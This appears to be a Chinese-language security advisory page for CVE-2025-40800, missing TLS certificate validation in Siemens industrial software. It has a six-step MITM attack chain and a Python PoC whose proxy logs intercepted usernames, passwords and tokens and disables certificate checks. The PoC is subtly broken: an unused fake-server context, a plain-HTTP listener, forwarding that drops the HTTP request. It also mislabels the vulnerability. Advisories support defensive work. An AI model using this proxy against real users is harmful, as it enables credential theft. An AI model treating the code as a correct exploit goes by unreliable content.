IPBUF安全漏洞报告
English
CVE-2025-40800 CVSS 7.4 高危

CVE-2025-40800 Siemens IAM客户端TLS证书验证缺失中间人攻击漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-40800
漏洞类型
证书验证缺失
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
COMOS V10.6, NX V2412, NX V2506, Simcenter 3D, Simcenter Femap, Solid Edge SE2025, Solid Edge SE2026

相关标签

证书验证缺失中间人攻击TLS漏洞西门子COMOSNXSimcenterSolid EdgeIAM客户端高危漏洞

漏洞概述

CVE-2025-40800是西门子多款工业软件产品中发现的高危安全漏洞。该漏洞存在于受影响产品的IAM(身份访问管理)客户端组件中,具体问题是在与授权服务器建立TLS连接时缺少服务器证书验证机制。由于证书验证的缺失,攻击者可以部署恶意服务器或进行DNS欺骗,冒充合法的授权服务器,从而建立到攻击者控制服务器的TLS连接。一旦成功建立连接,攻击者即可执行中间人攻击(MITM),窃取用户凭据、劫持会话令牌或篡改通信数据。此漏洞影响西门子多款CAD/CAE软件,包括COMOS、NX、Simcenter 3D、Femap及Solid Edge等产品的多个版本。由于这些软件通常用于工程设计和制造流程,漏洞被利用可能导致敏感设计数据泄露、知识产权损失或生产系统被恶意控制。攻击复杂度为高,需要攻击者处于网络中间位置或能够进行流量拦截。

技术细节

该漏洞的根本原因在于IAM客户端在建立TLS连接时未正确验证服务器证书。具体表现为:1) 客户端未检查服务器证书的有效性,包括证书链验证、证书过期检查、证书域名验证等;2) 客户端未验证证书颁发机构的可信度;3) 缺少证书固定(Certificate Pinning)机制。攻击者可以通过以下方式利用:部署恶意授权服务器,使用自签名证书或伪造证书;通过ARP欺骗、DNS劫持或网络钓鱼等手段将受害者流量重定向到恶意服务器;由于客户端跳过证书验证,恶意服务器可以成功建立TLS连接;攻击者随后可窃取用户认证凭据、会话令牌,或在通信过程中注入恶意指令。由于受影响软件多为西门子工业软件,其TLS连接通常用于与企业授权系统通信,证书验证缺失使得攻击者可以在认证流程中截获敏感信息,进而获得企业系统的未授权访问权限。

攻击链分析

STEP 1
步骤1:网络位置获取
攻击者通过ARP欺骗、DNS劫持或网络钓鱼等手段获取网络中间位置,能够拦截受害者的网络流量
STEP 2
步骤2:部署恶意服务器
攻击者部署恶意的授权服务器,使用自签名证书或伪造证书,无需受信任CA签发
STEP 3
步骤3:流量重定向
通过DNS劫持或ARP欺骗,将受害者的IAM客户端流量重定向到攻击者控制的恶意服务器
STEP 4
步骤4:证书验证绕过
由于IAM客户端缺少服务器证书验证,客户端会接受攻击者的自签名证书,建立TLS连接
STEP 5
步骤5:中间人攻击
攻击者成功建立中间人位置,可以窃取用户凭据、会话令牌,或篡改通信数据
STEP 6
步骤6:权限提升与数据窃取
利用窃取的凭据访问企业系统,窃取敏感设计数据、知识产权或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-40800 PoC - Missing SSL Certificate Validation in Siemens IAM Client This PoC demonstrates the MITM attack vector due to missing certificate validation. Note: For authorized security testing only. """ import socket import ssl import struct import json from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousProxyHandler(BaseHTTPRequestHandler): """ Malicious proxy that intercepts IAM authentication requests. Simulates the missing certificate validation vulnerability. """ def do_POST(self): """ Intercept POST requests to authorization server. Capture credentials and session tokens. """ content_length = int(self.headers.get('Content-Length', 0)) post_data = self.rfile.read(content_length) # Log intercepted credentials (in real attack, these would be exfiltrated) print(f"[+] Intercepted authentication request: {len(post_data)} bytes") # Parse and extract sensitive data try: data = json.loads(post_data) if 'username' in data: print(f"[+] Username: {data.get('username')}") if 'password' in data: print(f"[+] Password: {data.get('password')}") if 'token' in data: print(f"[+] Token: {data.get('token')}") except: print("[*] Could not parse request data") # Forward request to legitimate server (transparent proxying) response = self.forward_to_legitimate_server(post_data) # Send response back to client self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(response) def forward_to_legitimate_server(self, data): """ Forward request to legitimate server to maintain service. In real attack, attacker could modify responses. """ try: context = ssl.create_default_context() # BUG: No certificate verification (demonstrates vulnerability) context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection(('legitimate-auth-server', 443)) as sock: with context.wrap_socket(sock, server_hostname='legitimate-auth-server') as ssock: ssock.sendall(data) return ssock.recv(4096) except Exception as e: print(f"[-] Error forwarding: {e}") return b'{"error": "Service unavailable"}' def start_mitm_proxy(listen_port=8443): """ Start MITM proxy server on specified port. This demonstrates how missing certificate validation can be exploited. """ server_address = ('', listen_port) httpd = HTTPServer(server_address, MaliciousProxyHandler) print(f"[*] MITM Proxy listening on port {listen_port}") print("[*] Waiting for IAM client connections...") httpd.serve_forever() def create_fake_auth_server(cert_file='attacker.crt', key_file='attacker.key'): """ Create fake authorization server with self-signed certificate. Due to missing validation, IAM client will accept this certificate. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Load attacker-controlled certificate context.load_cert_chain(cert_file, key_file) # No certificate validation required - this is the vulnerability! return context if __name__ == "__main__": print("=" * 60) print("CVE-2025-40800 PoC - Missing Certificate Validation") print("Siemens IAM Client TLS MITM Attack") print("=" * 60) print("\n[!] WARNING: For authorized security testing only!") print("\n[*] Starting MITM proxy...") start_mitm_proxy()

影响范围

COMOS V10.6 < V10.6.1
NX V2412 < V2412.8700
NX V2506 < V2506.6000
Simcenter 3D < V2506.6000
Simcenter Femap < V2506.0002
Solid Edge SE2025 < V225.0 Update 10
Solid Edge SE2026 < V226.0 Update 1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 严格控制网络访问,确保IAM客户端仅能连接到受信任的授权服务器IP;2) 在防火墙/IPS上配置规则,检测并阻止到非授权认证服务器的TLS连接;3) 监控DNS查询和ARP表变化,防止DNS劫持和ARP欺骗攻击;4) 限制工程师账户权限,遵循最小权限原则;5) 对敏感工程数据进行加密存储和传输;6) 定期审计日志,检测异常认证行为。建议尽快部署官方发布的安全更新,这是最有效的防护措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表